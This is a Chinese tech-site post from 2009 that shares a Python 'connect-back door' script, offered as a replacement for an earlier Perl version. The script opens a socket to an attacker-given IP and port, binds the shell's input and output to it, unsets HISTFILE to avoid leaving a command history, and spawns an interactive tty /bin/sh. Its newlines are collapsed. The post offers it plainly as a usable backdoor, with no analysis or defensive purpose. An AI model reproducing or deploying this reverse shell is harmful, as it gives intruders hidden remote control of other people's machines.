首页 电脑 电脑学堂 查看内容

python backconnect door

2009-12-17 09:23 480 0

摘要: 一不小心高潮了…… 小雨写的一个,替代之前的perl版本的,可以直接返回ttyshell返回的shell可以直接ssh,su等操作#!/usr/bin/pythonimport sysimport ...
关键词: socket connect sys print argv fileno usage main unsetenv 直接

一不小心高潮了…… 小雨写的一个,替代之前的perl版本的,可以直接返回ttyshell返回的shell可以直接ssh,su等操作#!/usr/bin/pythonimport sysimport osimport socketimport ptyshell = "/bin/sh"def usage(programname):print "ython connect-back door"print "Usage: %s <conn_back_ip> <port>" % programnamedef main():if len(sys.argv) !=3:usage(sys.argv[0])sys.exit(1)s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))print "[+]Connect OK."except:print "[-]Can't connect"sys.exit(2)os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)global shellos.unsetenv("HISTFILE")os.unsetenv("HISTFILESIZE")pty.spawn(shell)s.close()if __name__ == "__main__":main()
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部